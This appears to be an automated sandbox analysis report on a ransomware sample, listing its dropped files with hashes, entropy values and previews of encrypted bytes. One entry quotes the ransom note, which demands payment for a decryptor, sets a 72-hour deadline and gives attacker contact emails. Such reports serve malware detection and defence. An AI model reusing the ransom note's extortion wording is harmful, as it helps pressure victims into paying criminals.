                                                                                                                                        Preview:.f.....N.....XIF^L.T.p.....O...3...!5....v....".,.I...,.....2.4....Z..}~..R.m..`...:p"j.A..V..D..c..(gd..3.H..]...*e<...q8C.*/t.4.Ly..F.9.Z.....[.q..,*..M'.H.i.e.].}7.4.5n.75!.F.}p..zC...,c....*..r...._s.`.w..........-....@&.d.k.......5.e..tPh.8.z=...^@.Q..........rl....7~..0..w4..%..'p..p@18.Q8....Xnk..pads\D...7)|......~...?...._..`.j.Q^..@{..qJ.!..".V<.p.n..........QD..I.}(...3.%.dy.....$E\U.V...E....g.T...QB.Y....V.7.\.aF...F..f.s..!.......bj....g.T.?.&dE.[.....,l...mX.V.`...."*..i.....%b...`.3...L4U.W..h..).G=..*.5..Q}../:F..mS.......6.<5.V...0R...h........+.....z...iyuj.....k.-.4A.N....._...BlQU..`....uZ...'.Bcb..~..e.s....U..H.."....N.X.'>&....-........I.|_{r.$C.L..A./T..;.p..n 6..B.x7..|g.Z.A.2 ..mE..Y...g...G.^#5>......^..\...Mg:d...:KB.R.@...........XV...`E.....T6..7./...$`KBr(....D..._$..ia.O_..H|`.]V<.U.g...na..z..SC.......f.u...{e..}5...'.!O...(%/..z. ...5.4s.!c...,.(.8~`nLdZ..C.o.Bg..UMg..I+....#.\....B.3.X.......;.\.su..D.s...
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):5243146
                                                                                                                                        Entropy (8bit):0.046187696359157045
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:384:zlDDNmvkQ7SLu2+PFTUbLu2+PFTU+Lu2+PFTUvjN:FZ+BWZzbZz+ZzLN
                                                                                                                                        MD5:97B54B29296BA11AA9FF7BFDA6AB72E0
                                                                                                                                        SHA1:5635B2771BDE3EA6BE7D631953D3E3D5C6BDFFF8
                                                                                                                                        SHA-256:27E5DB14EF11FF84F8D036AED1D87ED5677BD0E0F9966645A9B1FB570395FE03
                                                                                                                                        SHA-512:6215AC8C12663F963B6E141428D99E4E6FB0BA488A3518D46B8D62E3169F70B4CD341CE35E160230B8D70BEB12BCCF63BAB859B505631FA67D6DC2D3960B9B17
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:.!e.6..gz.sJJ.0..4.*....O`.../...&...Y.b.AY...{......@......x..........T(.........UR...`5..lj.....x@...cz..6.....j..K:.t.Q.L...j.mVn....&......C.F4..j<..N.r...-.J....?...K..@.._..Z........2...Q.:...v.".........k...B/.V.....e...)k..7.RI.........0=..lJ.mF.WT....D@..v...k.x.. .t...Z..Xu.#........5bK.>h>...G....L ..;aH....G.m{...._G....k......NN.N}.................Zcw....tM.7Y..'..Do.i.S..0.)..@w<$n._U1.$.7.J ..u.....4s.....4.Y`.c8.$}..+..w...Q..A.f.rz..(.....Rr4.....}6S..!z6..Kg..(....,...2.....n.....a.._.8.+.~.$.@.....S.V.-l.<J\..Z....U.{0.V........lc.H.q.%..Nj....?.xM.....F..R.)o.....C.\*;k.c.....(h.L..~B.7...\._.j....d.A.._.C...B.LEh+{.....Ix...b.j..h<A.d|C >"2..wWw. ....`.4.."..|r.{.....5.^...n.h.H....x...f....'..@..,...B...il.cIo`.3...:"..P...9.....|n.fO....M.z;U...t.r..E.m.9l..a[..);.......o.N5j......8V.R..L..T.gP..jey6....;#..a...f....w.. Q..#.............o.+....y.....k~.\Ye..^..K.....Q@54.D...V..W.NQ.U...9..u..0.\
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):33034
                                                                                                                                        Entropy (8bit):1.608976240556173
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:AI1RVnm8nhNHjCSdICAwp8el2/HHEQearLxavdDmPKqYfisx3e:PRVRhBODE8fHEQeaOIPKHfO
                                                                                                                                        MD5:91254E73EA0DD285C1764400A4F83F42
                                                                                                                                        SHA1:71A0ADFC198FD450A736CAC694EFC58BD69DF262
                                                                                                                                        SHA-256:87D1890F9496E5A5D2F11662480E0A74BE8A606EF105276B3E30A120130EA0BA
                                                                                                                                        SHA-512:8791DE4ECBEC18872B3ADA0524934B613B77873510FC0B7E1539E39CA5B4DF20836432C34B36EE47563798D0F2938378F42111F793FC3FE11F94D5BC4A4F83EE
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:..p...M.....0.c...a..S.X.<G...~*r\..?&/..D#..}...j.....p..K.~....6.R...G.u.....Ixw....).....B.|.....1.T..\KB.-.Y........H..k.<.J1....Es...l.wB./.tl.%l..../<....]Q.+.(..A%..h.|{...>....2..kIj..6n.L..5.r.k...ua..*...7.&P..~wF.9,>.|..PS..G..$......*......D..V..y....T.R?..F....;X...........P..$..z{y.......`......W.}..i.s.....;L..#_...m.T..y..Y..@...U...21.|{&..^..*.9.5...m...0.I.Te.zS..L.).>...B..^.3..6I..|..N..H.._...............f.........QKV........3U^b.=9.6.$Y.BW"-.c.Y?M~....>.HM..6.yK`7...&......oJ.0..#..PEA~..jK.E.D~.j\P.b,^......S....?z.0...$..U.....B..r....B..n..k...M.B.....K..\{.....vBfSe..._.(..."P._.Bpv1gM.........Ge0.(...F..}.J..a....Hn..P.r.~].........s.:.....y...+......(.h..Zb.^...mm...,..X+........<.....u.1........y.N[>.qs.c.4..w......\...y..S4.q....K.Y.vBu.C..DAq....HL......Z}......D.* [..i.k..=...].AF.\.,...C...h...n .>3.]!.......*.D.@.R"w.<g.K..T..b.B......).........h......q.o...'..C,)O-F..=H...r..xlW.......x]m`Y3Z..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):33034
                                                                                                                                        Entropy (8bit):1.608976240556173
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:AI1RVnm8nhNHjCSdICAwp8el2/HHEQearLxavdDmPKqYfisx3e:PRVRhBODE8fHEQeaOIPKHfO
                                                                                                                                        MD5:91254E73EA0DD285C1764400A4F83F42
                                                                                                                                        SHA1:71A0ADFC198FD450A736CAC694EFC58BD69DF262
                                                                                                                                        SHA-256:87D1890F9496E5A5D2F11662480E0A74BE8A606EF105276B3E30A120130EA0BA
                                                                                                                                        SHA-512:8791DE4ECBEC18872B3ADA0524934B613B77873510FC0B7E1539E39CA5B4DF20836432C34B36EE47563798D0F2938378F42111F793FC3FE11F94D5BC4A4F83EE
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..p...M.....0.c...a..S.X.<G...~*r\..?&/..D#..}...j.....p..K.~....6.R...G.u.....Ixw....).....B.|.....1.T..\KB.-.Y........H..k.<.J1....Es...l.wB./.tl.%l..../<....]Q.+.(..A%..h.|{...>....2..kIj..6n.L..5.r.k...ua..*...7.&P..~wF.9,>.|..PS..G..$......*......D..V..y....T.R?..F....;X...........P..$..z{y.......`......W.}..i.s.....;L..#_...m.T..y..Y..@...U...21.|{&..^..*.9.5...m...0.I.Te.zS..L.).>...B..^.3..6I..|..N..H.._...............f.........QKV........3U^b.=9.6.$Y.BW"-.c.Y?M~....>.HM..6.yK`7...&......oJ.0..#..PEA~..jK.E.D~.j\P.b,^......S....?z.0...$..U.....B..r....B..n..k...M.B.....K..\{.....vBfSe..._.(..."P._.Bpv1gM.........Ge0.(...F..}.J..a....Hn..P.r.~].........s.:.....y...+......(.h..Zb.^...mm...,..X+........<.....u.1........y.N[>.qs.c.4..w......\...y..S4.q....K.Y.vBu.C..DAq....HL......Z}......D.* [..i.k..=...].AF.\.,...C...h...n .>3.]!.......*.D.@.R"w.<g.K..T..b.B......).........h......q.o...'..C,)O-F..=H...r..xlW.......x]m`Y3Z..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):292
                                                                                                                                        Entropy (8bit):7.117748918656249
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:xyO+7lkcFDVylgWzsOPa2iMbKWGwsTs3SZ8aLiBkrUoc7gHmClkA8tIHn:7clkwTOPaFjZA88NBkrUoc7UStqn
                                                                                                                                        MD5:30E4C320A0E04C91DA63FB4620F8A64C
                                                                                                                                        SHA1:3CE409B5A5ADA013AD09A54EE7E8AD72958C88A4
                                                                                                                                        SHA-256:313ED534331EB93B32CE350D870D0ACBBA65C86261B5A48CC7CF2F873B82E5E5
                                                                                                                                        SHA-512:D2167686F74BEAD1F3EA5A6C071445572A918DCB429BE0DE1F6ED66E226945A7DF3AA60C2894EA0393B5A77B39DB6D4403E32343D84B118698BDC187BA740AB0
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:.;.Q....x.4..............1...#...~e....g4)....m....J.....!z.#.D.8s.r...,...~.x.B@.C.-.c.)...-.....Af.7...2I......3zz..0..q..H@........i..z?.t.).?2..sO......d..F.D..m....;1....3.O..n.I.S.....X.........0....d...i."......?.,Sd.S.M....]..v....`..9......16.Zw.;...L...qw.0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):5243146
                                                                                                                                        Entropy (8bit):0.046187696359157045
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:384:zlDDNmvkQ7SLu2+PFTUbLu2+PFTU+Lu2+PFTUvjN:FZ+BWZzbZz+ZzLN
                                                                                                                                        MD5:97B54B29296BA11AA9FF7BFDA6AB72E0
                                                                                                                                        SHA1:5635B2771BDE3EA6BE7D631953D3E3D5C6BDFFF8
                                                                                                                                        SHA-256:27E5DB14EF11FF84F8D036AED1D87ED5677BD0E0F9966645A9B1FB570395FE03
                                                                                                                                        SHA-512:6215AC8C12663F963B6E141428D99E4E6FB0BA488A3518D46B8D62E3169F70B4CD341CE35E160230B8D70BEB12BCCF63BAB859B505631FA67D6DC2D3960B9B17
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.!e.6..gz.sJJ.0..4.*....O`.../...&...Y.b.AY...{......@......x..........T(.........UR...`5..lj.....x@...cz..6.....j..K:.t.Q.L...j.mVn....&......C.F4..j<..N.r...-.J....?...K..@.._..Z........2...Q.:...v.".........k...B/.V.....e...)k..7.RI.........0=..lJ.mF.WT....D@..v...k.x.. .t...Z..Xu.#........5bK.>h>...G....L ..;aH....G.m{...._G....k......NN.N}.................Zcw....tM.7Y..'..Do.i.S..0.)..@w<$n._U1.$.7.J ..u.....4s.....4.Y`.c8.$}..+..w...Q..A.f.rz..(.....Rr4.....}6S..!z6..Kg..(....,...2.....n.....a.._.8.+.~.$.@.....S.V.-l.<J\..Z....U.{0.V........lc.H.q.%..Nj....?.xM.....F..R.)o.....C.\*;k.c.....(h.L..~B.7...\._.j....d.A.._.C...B.LEh+{.....Ix...b.j..h<A.d|C >"2..wWw. ....`.4.."..|r.{.....5.^...n.h.H....x...f....'..@..,...B...il.cIo`.3...:"..P...9.....|n.fO....M.z;U...t.r..E.m.9l..a[..);.......o.N5j......8V.R..L..T.gP..jey6....;#..a...f....w.. Q..#.............o.+....y.....k~.\Ye..^..K.....Q@54.D...V..W.NQ.U...9..u..0.\
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):646
                                                                                                                                        Entropy (8bit):7.63295123421135
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:12:3YAVclJtGUucWXDZ3nmC6ikSdAbXJaCZTPbQ89T2Rm5oM00jny7RcNVon:3Yrl2xcwdWibUa8zbQQym5hZmRcNK
                                                                                                                                        MD5:8632FD0A389E1E691D0D7AC3202B7193
                                                                                                                                        SHA1:59588688D578F2F2918C75F637E6204EB584C877
                                                                                                                                        SHA-256:B3DA9677CB1536E613D538D3E01BEFED4BC1A3DDCEA9A5D1137C800B84C6D117
                                                                                                                                        SHA-512:D93CE96A0EBCA811AC25662354D69C4E749D968E3E37A30E086B48EBD704F053306FC2AD919AAECA620B7B238575010C85A2AAD8DFB8560AB8A99B435BC6C369
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:...q.......=2Noe<.Yt1.pr..Wfu9.).?;...%.1c+.D...h.@....]a........}.....D{;...B....u.....0>#pl....Q.`../.._i@`T.N.d.L....nd..d.h...GH.d.%.{A...@.?.u....E.I~.WC|..U.B..s...$.F...!.........P..yn\.w"{T.....*.=.....b.A.O].j2.~:M&.//........+j..+..\....h...b.v...e...*F..2.>.wxn....?H.{.R.....S..'K.w...j...O..&T.....e....$.m)....`.zVb..9.D4..q.cO.h...m.'.|.1!ated":false}{j~....../.V9..a...^..S......`.;]..WbD...`......w..B........TQ.M{.Q.j..6..i.9NM.:.)....0....0..#9A.i."....l.`i..G1.u.@......V.u..&M..w..M.S.*..;.O...M.)R,=(..p%g..B"..|...fM....x..Wrv.......'4."@..Q........G..\Onf.w6uOM......].6W.&TJ..%.1..{/w....0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):646
                                                                                                                                        Entropy (8bit):7.63295123421135
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:12:3YAVclJtGUucWXDZ3nmC6ikSdAbXJaCZTPbQ89T2Rm5oM00jny7RcNVon:3Yrl2xcwdWibUa8zbQQym5hZmRcNK
                                                                                                                                        MD5:8632FD0A389E1E691D0D7AC3202B7193
                                                                                                                                        SHA1:59588688D578F2F2918C75F637E6204EB584C877
                                                                                                                                        SHA-256:B3DA9677CB1536E613D538D3E01BEFED4BC1A3DDCEA9A5D1137C800B84C6D117
                                                                                                                                        SHA-512:D93CE96A0EBCA811AC25662354D69C4E749D968E3E37A30E086B48EBD704F053306FC2AD919AAECA620B7B238575010C85A2AAD8DFB8560AB8A99B435BC6C369
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...q.......=2Noe<.Yt1.pr..Wfu9.).?;...%.1c+.D...h.@....]a........}.....D{;...B....u.....0>#pl....Q.`../.._i@`T.N.d.L....nd..d.h...GH.d.%.{A...@.?.u....E.I~.WC|..U.B..s...$.F...!.........P..yn\.w"{T.....*.=.....b.A.O].j2.~:M&.//........+j..+..\....h...b.v...e...*F..2.>.wxn....?H.{.R.....S..'K.w...j...O..&T.....e....$.m)....`.zVb..9.D4..q.cO.h...m.'.|.1!ated":false}{j~....../.V9..a...^..S......`.;]..WbD...`......w..B........TQ.M{.Q.j..6..i.9NM.:.)....0....0..#9A.i."....l.`i..G1.u.@......V.u..&M..w..M.S.*..;.O...M.)R,=(..p%g..B"..|...fM....x..Wrv.......'4."@..Q........G..\Onf.w6uOM......].6W.&TJ..%.1..{/w....0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):295178
                                                                                                                                        Entropy (8bit):0.30076284888148286
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:192:LMkQ/tcNuV29pmuVE43va0zkVmvQhyn+Zoz679fqlQbGhMHPaVAL23vE9V:LMouyo61zkVmvQhyn+Zoz67d
                                                                                                                                        MD5:DFC933AC62008AA2011FE0AD257797A9
                                                                                                                                        SHA1:22C2C81277656B470D4809343CB52939E96FD3A0
                                                                                                                                        SHA-256:E4DD96AF57A984E444F46638BC2816A7D11BF6E5C6C5C967500D744E0D672CCD
                                                                                                                                        SHA-512:EA6B934D2115FEE98617BDAC9983D88DBA1464B3A2D18EFE51042E21B519DCE5D0C7AC073D0C80E3C424DE2967F22A1932ED81EFC3F3F73180960A0B24BC70BB
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:.wG..`'k....R:bG:.._f7j..j..C(.....!.-.nvEzZ.W.......N.F.J.;..5F;.....V<z"_.N.p+V\Ra.@S..6T..#+[.@. .j..x.C...Z.U7..yo..........0..Et..>.....4.. .b./.O....9......?.o......v.T....Z..'...P..:zXH.s.eop.a..Y.Ca.FWhmh~.'.U+(.AL....cK.y.L....4.;....7.[^.^..g....K..?.....}Ho.Q9..I....T...X.o.z...J....P......|}....i...q.MeT.Jo.Y...0<.3Jg..[..U+F..A.....&qc.e.zU....N....&KMJ.i...51....+,X...m}.. ...I..!Q.b...4D9.kx.......y(..|...2vW..c.......y.8gs...H.KMW....^.....;S.....#vf.F-.10 ..........o..Iir!..~F.6.[.U...8....dO.8N..M....~.4}|...(.<[..Y.`.y.Xc.[iyu...n.....PI...8V4}V.p..bHx.Fy....V[j..p..V-..I%..U....q......bx..d8.zj......(M#z.Dq...T.....f.s...x........_bF4.].z].......D.......7..y,.w=.k..V+d....~.G.vK.Y.L....c..Y[9r.._.......a\..O..z.'..xS.G...f.l,.b..M.[.$\.U-..d..h.%6..I-k....m.yz1.-V.......)..pN..)+~=".YMO..8..m..Y.........e\H......D.@}..B.}.<.c@_...I.K..... |6|F.vC..kK..<.g.....%oE..L.x.@f.6>q......[#Z.`...#.).A .2[..q=..._....y
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):295178
                                                                                                                                        Entropy (8bit):0.30076284888148286
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:192:LMkQ/tcNuV29pmuVE43va0zkVmvQhyn+Zoz679fqlQbGhMHPaVAL23vE9V:LMouyo61zkVmvQhyn+Zoz67d
                                                                                                                                        MD5:DFC933AC62008AA2011FE0AD257797A9
                                                                                                                                        SHA1:22C2C81277656B470D4809343CB52939E96FD3A0
                                                                                                                                        SHA-256:E4DD96AF57A984E444F46638BC2816A7D11BF6E5C6C5C967500D744E0D672CCD
                                                                                                                                        SHA-512:EA6B934D2115FEE98617BDAC9983D88DBA1464B3A2D18EFE51042E21B519DCE5D0C7AC073D0C80E3C424DE2967F22A1932ED81EFC3F3F73180960A0B24BC70BB
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.wG..`'k....R:bG:.._f7j..j..C(.....!.-.nvEzZ.W.......N.F.J.;..5F;.....V<z"_.N.p+V\Ra.@S..6T..#+[.@. .j..x.C...Z.U7..yo..........0..Et..>.....4.. .b./.O....9......?.o......v.T....Z..'...P..:zXH.s.eop.a..Y.Ca.FWhmh~.'.U+(.AL....cK.y.L....4.;....7.[^.^..g....K..?.....}Ho.Q9..I....T...X.o.z...J....P......|}....i...q.MeT.Jo.Y...0<.3Jg..[..U+F..A.....&qc.e.zU....N....&KMJ.i...51....+,X...m}.. ...I..!Q.b...4D9.kx.......y(..|...2vW..c.......y.8gs...H.KMW....^.....;S.....#vf.F-.10 ..........o..Iir!..~F.6.[.U...8....dO.8N..M....~.4}|...(.<[..Y.`.y.Xc.[iyu...n.....PI...8V4}V.p..bHx.Fy....V[j..p..V-..I%..U....q......bx..d8.zj......(M#z.Dq...T.....f.s...x........_bF4.].z].......D.......7..y,.w=.k..V+d....~.G.vK.Y.L....c..Y[9r.._.......a\..O..z.'..xS.G...f.l,.b..M.[.$\.U-..d..h.%6..I-k....m.yz1.-V.......)..pN..)+~=".YMO..8..m..Y.........e\H......D.@}..B.}.<.c@_...I.K..... |6|F.vC..kK..<.g.....%oE..L.x.@f.6>q......[#Z.`...#.).A .2[..q=..._....y
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):292
                                                                                                                                        Entropy (8bit):7.246891062301961
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:yFeXtx99DJd7oWXWsz5+25KPkLLFlCZ/8F5/cNLAOa0tun:yFeXHJd7oWXXzU25KPuLFA/8F50xAYun
                                                                                                                                        MD5:312D9F65CEF0B01F408F3109199DCB37
                                                                                                                                        SHA1:096844545ADD4E30C80106303D0E3B45345501BC
                                                                                                                                        SHA-256:F18443FA1CA1969312F280FBDDC6920CF721770159F2F269F5DDA2981A94AE7F
                                                                                                                                        SHA-512:55B7ACA56A856E0E7DEDE6A33E66D692FEACE4D03A40D5D12C14B2B7598488FA7CB4DBCAE824710095BCF4E9A936A70025FA36DF96F4E0EF484849DAC49224E2
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:$..../A.....7.\..........r...fh...V.... :....eG.W....-...GFd.....erR....Z2.,..'.,=s..z.8...;[<...1.T.....2.......S....x.'.z.V#4....j.LJ.<.4:m........?.y^..n...,..g!.O.x.D..xzu...ZI.p...r^2.......Dv...u.~..]..d.'`a..JX(..H..V1....R.I..I..]..s..n.W...=.l..lAO.m+3.:H&.i.dj0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):98570
                                                                                                                                        Entropy (8bit):0.65925355778893
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:oYu2RnR5Sj+zKiNWcNiUm/sAdy1XXEzi3nFPRGRAVn032/UNYavfQfXgJnLopQj/:ormfNzroUmUAdyWiXh3VdkY84voHDb
                                                                                                                                        MD5:4D5C9AB94F9C90B91D14A9DA96E5CC12
                                                                                                                                        SHA1:8795CB6B81DA3CE782FAFAEE275839E2704A8EEA
                                                                                                                                        SHA-256:054981D1A115896BA887773A6CCC687E7E4266539FBFFB1A98722641FA04E055
                                                                                                                                        SHA-512:D5372D074E891DC4DF1F472C330217E144D4837F1F9E88C618E201FCEACC0E52B58E4B5565812ECD14530E950AE257253A9E05283EEE3D1ACCEFE8F5E35FFFB3
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:kc.K.A.n..L..6yt.O/5...xz<F.n..x...._..Wl&...MlX...S.\....Z..<rI.3-....-...l....[...c.Z............1.Q..3.&.x.hS...#.....L#R../O................G.O.?..%......,.G....K.S.[...?c.....V.....h.T...sxk.l...6.L..(....O<......0..J.f.|..zH..b......?.E.-V..k}7.........v.k....".U..t.&..@u.x.....=...J..z....TR<A.....V(A...S..p....}5....!..R..y...WEwn....a...).m..g....60.....$...i...b.......u......f..rt.`. ..J..1....P......u......8.J..f....)B=..o....s9f.m..'<.5.\...c.$_`..A>.D~....[Ya......".V-...6..n.$._..[......m.s...3..ow5A.DE..*.=>.j..{.^.A....#.LW....q..$..6..........*9... ...vL..R.+uvJ.[dNz^;....G...l...6.~.K*...O..`(...z!...y.o....6.62....fuZ..)3.8^.s.......Y.......O\U&........u...q...D b..b7.....c:.'...."y]]Y..0..2..b......u........s..t..)..._.h.8..b.:.....%../)q5..........@.a>...\.H.o..(.#...ld.!nyS...8..Nm../+..[k.1E.l.c.n.U..9T...]...z.G~...B.X......u.....W8....v.'....L..J....].9({."....c.Sj.}...S....x..........1G......... .......J(.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):98570
                                                                                                                                        Entropy (8bit):0.65925355778893
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:oYu2RnR5Sj+zKiNWcNiUm/sAdy1XXEzi3nFPRGRAVn032/UNYavfQfXgJnLopQj/:ormfNzroUmUAdyWiXh3VdkY84voHDb
                                                                                                                                        MD5:4D5C9AB94F9C90B91D14A9DA96E5CC12
                                                                                                                                        SHA1:8795CB6B81DA3CE782FAFAEE275839E2704A8EEA
                                                                                                                                        SHA-256:054981D1A115896BA887773A6CCC687E7E4266539FBFFB1A98722641FA04E055
                                                                                                                                        SHA-512:D5372D074E891DC4DF1F472C330217E144D4837F1F9E88C618E201FCEACC0E52B58E4B5565812ECD14530E950AE257253A9E05283EEE3D1ACCEFE8F5E35FFFB3
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:kc.K.A.n..L..6yt.O/5...xz<F.n..x...._..Wl&...MlX...S.\....Z..<rI.3-....-...l....[...c.Z............1.Q..3.&.x.hS...#.....L#R../O................G.O.?..%......,.G....K.S.[...?c.....V.....h.T...sxk.l...6.L..(....O<......0..J.f.|..zH..b......?.E.-V..k}7.........v.k....".U..t.&..@u.x.....=...J..z....TR<A.....V(A...S..p....}5....!..R..y...WEwn....a...).m..g....60.....$...i...b.......u......f..rt.`. ..J..1....P......u......8.J..f....)B=..o....s9f.m..'<.5.\...c.$_`..A>.D~....[Ya......".V-...6..n.$._..[......m.s...3..ow5A.DE..*.=>.j..{.^.A....#.LW....q..$..6..........*9... ...vL..R.+uvJ.[dNz^;....G...l...6.~.K*...O..`(...z!...y.o....6.62....fuZ..)3.8^.s.......Y.......O\U&........u...q...D b..b7.....c:.'...."y]]Y..0..2..b......u........s..t..)..._.h.8..b.:.....%../)q5..........@.a>...\.H.o..(.#...ld.!nyS...8..Nm../+..[k.1E.l.c.n.U..9T...]...z.G~...B.X......u.....W8....v.'....L..J....].9({."....c.Sj.}...S....x..........1G......... .......J(.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):783
                                                                                                                                        Entropy (8bit):7.720598936919575
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:8iqxoKJdGXROVvD32SGw0emVKH2Tl92UPgS:8HxokwOVvaria92UPgS
                                                                                                                                        MD5:EB27A9CD320BBF764A58E822159242C0
                                                                                                                                        SHA1:A86EFA89516F3CE538AAD359F7ECC78368943CAA
                                                                                                                                        SHA-256:3FC950C8C005E36D38176AB679E8027CBC7DFF4669516BB84F36D1DB1B84536A
                                                                                                                                        SHA-512:CB143C58412A2FAC605B25C21E96EE03A31BCDE3D22890DC57A19982AF1EF071F207A41508724EF2F1589FB57018CFABD228D95D2358B311D62024F35AEF7DA7
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:mT.J.G.ZbAo..tC...HT(.I.k....X.s`..)...{..q........Cb"..Yi...\?i...%.6...~.!m.?08.E....... .{W+...|hN.M.R...z.0....C..Z.z.).Oo...up..J...&.{..s...Q{..s}k.Iv.....K.N."^H.v.....".... ...y..(....N.j#... $r..}..jL..b..PE..e.....4...BPj...6........V....37..s....8....s.$<L.@..^Cc.dl...{.K.z..Z.0.H.*.s.t3]........y.......=.i.U...k..0............1...I...fM.....+.w...I.9./.B.Y......._#....YQ..P\....s..Y.{q.!...v.}..t.6.w..]....vJ.i.[...Z.4..... .. c..m.C...M.'ESW`.U+..W..Q.".p.\.......l;...r....X*.(.)....W.l.kHkZ..Zc....sl.. |/mPX.G.B.+(..]p..L.........+:..g.|...;.N.p.H..+t.|...L.7...Jh.......$p..........P.D..&.[...;.....,W.:.4..7O^...O..+...........Vn(... !.lQ(...7A.:r.G.11'.3..........M.Gcm3.....I.Kml.}..^.+I...B._... %L.r..l......dM....Q.0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):783
                                                                                                                                        Entropy (8bit):7.720598936919575
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:8iqxoKJdGXROVvD32SGw0emVKH2Tl92UPgS:8HxokwOVvaria92UPgS
                                                                                                                                        MD5:EB27A9CD320BBF764A58E822159242C0
                                                                                                                                        SHA1:A86EFA89516F3CE538AAD359F7ECC78368943CAA
                                                                                                                                        SHA-256:3FC950C8C005E36D38176AB679E8027CBC7DFF4669516BB84F36D1DB1B84536A
                                                                                                                                        SHA-512:CB143C58412A2FAC605B25C21E96EE03A31BCDE3D22890DC57A19982AF1EF071F207A41508724EF2F1589FB57018CFABD228D95D2358B311D62024F35AEF7DA7
